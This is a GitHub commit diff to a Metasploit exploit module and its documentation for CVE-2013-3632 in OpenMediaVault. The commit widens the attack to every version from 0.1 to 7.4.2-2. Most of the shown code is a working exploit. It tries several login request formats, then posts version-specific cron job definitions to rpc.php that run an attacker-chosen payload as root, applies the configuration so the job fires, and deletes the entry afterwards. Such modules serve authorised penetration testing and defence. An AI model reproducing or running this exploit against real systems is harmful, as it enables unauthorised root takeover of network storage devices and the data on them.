Skip to content

Commit b65c7ec

Browse files
committed
added support for all openmediavault versions (0.1 - 7.4.2-2)
1 parent 5459503 commit b65c7ec

File tree

2 files changed

+171
-57
lines changed

2 files changed

+171
-57
lines changed

documentation/modules/exploit/unix/webapp/openmediavault_auth_cron_rce.rb renamed to documentation/modules/exploit/unix/webapp/openmediavault_auth_cron_rce.md

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,21 @@
11
## Vulnerable Application
22

33
This is a new module addressing an old vulnerability in OpenMediaVault, an open-source NAS solution.
4-
The vulnerability exists within all OpenMediaVault versions starting from from `1.0.0` until the recent release `7.3.1-1`
4+
The vulnerability exists within all OpenMediaVault versions starting from from `0.1` until the recent release `7.4.2-2`
55
and it allows an authenticated user to create cron jobs as root on the system.
66
An attacker can abuse this by sending a POST request via `rpc.php` to schedule and execute a cron entry
77
that runs arbitrary commands as root on the system.
88

99
The following releases were tested.
1010

1111
**OpenMediaVault x64 appliances:**
12+
* openmediavault_0.2_amd64.iso
13+
* openmediavault_0.2.5_amd64.iso
14+
* openmediavault_0.3_amd64.iso
15+
* openmediavault_0.4_amd64.iso
16+
* openmediavault_0.4.32_amd64.iso
17+
* openmediavault_0.5.0.24_amd64.iso
18+
* openmediavault_0.5.48_amd64.iso
1219
* openmediavault_1.9_amd64.iso
1320
* openmediavault_2.0.13_amd64.iso
1421
* openmediavault_2.1_amd64.iso
@@ -30,6 +37,12 @@
3037

3138
**ARM64 on Raspberry PI running Kali Linux 2024-3:**
3239
* openmediavault 7.3.0-5
40+
* openmediavault 7.4.2-2
41+
42+
**VirtualBox Images (x64):**
43+
* openmediavault 0.4.24
44+
* openmediavault 0.5.30
45+
* openmediavault 1.0.21
3346

3447
## Installation steps to install OpenMediaVault NAS appliance
3548
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.

modules/exploits/unix/webapp/openmediavault_auth_cron_rce.rb

Lines changed: 157 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -18,20 +18,20 @@ def initialize(info = {})
1818
OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
1919
An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
2020
a cron entry that runs arbitrary commands as root on the system.
21-
All OpenMediaVault versions including the latest release 7.3.1-1 are vulnerable.
21+
All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.
2222
},
2323
'License' => MSF_LICENSE,
2424
'Author' => [
2525
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
26-
'Brandon Perry <bperry.volatile[at]gmail.com>', # Original Discovery
27-
'Mert BENADAM' # exploit author
26+
'Brandon Perry <bperry.volatile[at]gmail.com>' # Original Discovery
2827
],
2928
'References' => [
3029
['CVE', '2013-3632'],
3130
['PACKETSTORM', '178526'],
31+
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'],
3232
['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']
3333
],
34-
'DisclosureDate' => '2024-05-08',
34+
'DisclosureDate' => '2013-10-30',
3535
'Platform' => ['unix', 'linux'],
3636
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
3737
'Privileged' => true,
@@ -91,6 +91,7 @@ def rpc_success?(res)
9191

9292
def login(user, pass)
9393
print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")
94+
# try the login options for all OpenMediaVault versions
9495
res = send_request_cgi({
9596
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
9697
'method' => 'POST',
@@ -106,7 +107,42 @@ def login(user, pass)
106107
options: nil
107108
}.to_json
108109
})
109-
res&.code == 200 && res.body.include?('"authenticated":true')
110+
unless res.code == 200 && res.body.include?('"authenticated":true')
111+
res = send_request_cgi({
112+
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
113+
'method' => 'POST',
114+
'keep_cookies' => true,
115+
'ctype' => 'application/json',
116+
'data' => {
117+
service: 'Authentication',
118+
method: 'login',
119+
params: {
120+
username: user,
121+
password: pass
122+
}
123+
}.to_json
124+
})
125+
end
126+
unless res.code == 200 && res.body.include?('"authenticated":true')
127+
res = send_request_cgi({
128+
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
129+
'method' => 'POST',
130+
'keep_cookies' => true,
131+
'ctype' => 'application/json',
132+
'data' => {
133+
service: 'Authentication',
134+
method: 'login',
135+
params: [
136+
{
137+
username: user,
138+
password: pass
139+
}
140+
]
141+
}.to_json
142+
})
143+
return res&.code == 200 && res.body.include?('"authenticated":true')
144+
end
145+
true
110146
end
111147

112148
def check_version
@@ -119,20 +155,18 @@ def check_version
119155
'data' => {
120156
service: 'System',
121157
method: 'getInformation',
122-
params: nil,
123-
options: {
124-
updatelastaccess: false
125-
}
158+
params: nil
126159
}.to_json
127160
})
128161
return nil unless rpc_success?(res)
129162

130163
# parse json response and get the version
131164
res_json = res.get_json_document
132165
unless res_json.blank?
133-
# OpenMediaVault v4 has a different json format where index 1 has the version information
166+
# OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information
134167
version = res_json.dig('response', 1, 'value')
135168
version = res_json.dig('response', 'version') if version.nil?
169+
version = res_json.dig('response', 'data', 1, 'value') if version.nil?
136170
return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil?
137171
end
138172
nil
@@ -160,34 +194,78 @@ def apply_config_changes
160194
def execute_command(cmd, _opts = {})
161195
# OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']
162196
# OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'
163-
# OpenMediaVault v1.0.0 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
164-
# OpenMediaVault < 1.0.0 is not supported in this module. It will never reach here because the login will fail
165-
# MSF module: exploit/multi/http/openmediavault_cmd_exec can be used to exploit these versions
197+
# OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
198+
# OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter
199+
# OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters
166200
schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'
167201
uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'
168-
post_data = {
169-
service: 'Cron',
170-
method: 'set',
171-
params: {
172-
uuid: uuid,
173-
enable: true,
174-
execution: 'exactly',
175-
minute: schedule,
176-
everynminute: false,
177-
hour: schedule,
178-
everynhour: false,
179-
dayofmonth: schedule,
180-
everyndayofmonth: false,
181-
month: schedule,
182-
dayofweek: schedule,
183-
username: 'root',
184-
command: cmd.to_s, # payload
185-
sendemail: false,
186-
comment: '',
187-
type: 'userdefined'
188-
},
189-
options: nil
190-
}.to_json
202+
203+
if @version_number > Rex::Version.new('1.0.32')
204+
post_data = {
205+
service: 'Cron',
206+
method: 'set',
207+
params: {
208+
uuid: uuid,
209+
enable: true,
210+
execution: 'exactly',
211+
minute: schedule,
212+
everynminute: false,
213+
hour: schedule,
214+
everynhour: false,
215+
dayofmonth: schedule,
216+
everyndayofmonth: false,
217+
month: schedule,
218+
dayofweek: schedule,
219+
username: 'root',
220+
command: cmd.to_s, # payload
221+
sendemail: false,
222+
comment: '',
223+
type: 'userdefined'
224+
},
225+
options: nil
226+
}.to_json
227+
elsif @version_number >= Rex::Version.new('0.2.6.4')
228+
post_data = {
229+
service: 'Cron',
230+
method: 'set',
231+
params: {
232+
uuid: uuid,
233+
enable: true,
234+
minute: schedule,
235+
everynminute: false,
236+
hour: schedule,
237+
everynhour: false,
238+
dayofmonth: schedule,
239+
everyndayofmonth: false,
240+
month: schedule,
241+
dayofweek: schedule,
242+
username: 'root',
243+
command: cmd.to_s, # payload
244+
sendemail: false,
245+
comment: '',
246+
type: 'userdefined'
247+
}
248+
}.to_json
249+
else
250+
post_data = {
251+
service: 'Cron',
252+
method: 'set',
253+
params: [
254+
{
255+
uuid: uuid,
256+
minute: schedule,
257+
hour: schedule,
258+
dayofmonth: schedule,
259+
month: schedule,
260+
dayofweek: schedule,
261+
username: 'root',
262+
command: cmd.to_s, # payload
263+
comment: '',
264+
type: 'userdefined'
265+
}
266+
]
267+
}.to_json
268+
end
191269

192270
res = send_request_cgi({
193271
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
@@ -203,10 +281,42 @@ def execute_command(cmd, _opts = {})
203281
res_json = res.get_json_document
204282
@cron_uuid = res_json.dig('response', 'uuid') || ''
205283

284+
# In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it
285+
if @cron_uuid.blank?
286+
if @version_number >= Rex::Version.new('0.2.6.4')
287+
method = 'getList'
288+
else
289+
method = 'getListByType'
290+
end
291+
post_data = {
292+
service: 'Cron',
293+
method: method,
294+
params: {
295+
start: 0,
296+
limit: -1,
297+
sortfield: nil,
298+
sortdir: nil,
299+
type: ['userdefined']
300+
}
301+
}.to_json
302+
303+
res = send_request_cgi({
304+
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
305+
'method' => 'POST',
306+
'ctype' => 'application/json',
307+
'keep_cookies' => true,
308+
'data' => post_data
309+
})
310+
res_json = res.get_json_document
311+
# get total list of entries and pick the last one
312+
index = res_json.dig('response', 'total')
313+
@cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || ''
314+
end
315+
206316
# Apply and update cron configuration to trigger payload execution (1 minute)
207-
res = apply_config_changes
208-
fail_with(Failure::Unknown, 'Cannot apply cron changes to trigger payload execution.') unless res && res.code == 200 && res.body.include?('"error":null')
209-
print_good('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')
317+
# versions lower then 0.5.48 do not need this because execution is automatic
318+
apply_config_changes
319+
print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')
210320
end
211321

212322
def on_new_session(_session)
@@ -222,18 +332,15 @@ def on_new_session(_session)
222332
method: 'delete',
223333
params: {
224334
uuid: @cron_uuid.to_s
225-
},
226-
options: nil
335+
}
336+
# options: nil
227337
}.to_json
228338
})
229339
if rpc_success?(res)
230340
# Apply changes and update cron configuration to remove the payload entry
231-
res = apply_config_changes
232-
if rpc_success?(res)
233-
print_good('Cron payload entry successfully removed.')
234-
else
235-
print_warning('Cannot apply the cron changes to remove the payload entry.')
236-
end
341+
# versions lower then 0.5.48 do not need this because execution is automatic
342+
apply_config_changes
343+
print_good('Cron payload entry successfully removed.')
237344
else
238345
print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
239346
end
@@ -246,16 +353,10 @@ def check
246353
return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in
247354

248355
@version_number = check_version
249-
unless @version_number.nil?
250-
if @version_number.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.3.1-1'))
251-
return CheckCode::Vulnerable("Version #{@version_number}")
252-
else
253-
return CheckCode::Appears("Version #{@version_number} can be exploited with module exploit/unix/webapp/openmediavault_cmd_exec") if @version_number < Rex::Version.new('1.0.0')
356+
return CheckCode::Unknown('Could not retrieve the version information.') if @version_number.nil?
357+
return CheckCode::Vulnerable("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))
254358

255-
return CheckCode::Detected("Version #{@version_number}")
256-
end
257-
end
258-
CheckCode::Unknown('Could not retrieve the version information.')
359+
CheckCode::Detected("Version #{@version_number}")
259360
end
260361

261362
def exploit

0 commit comments

Comments
 (0)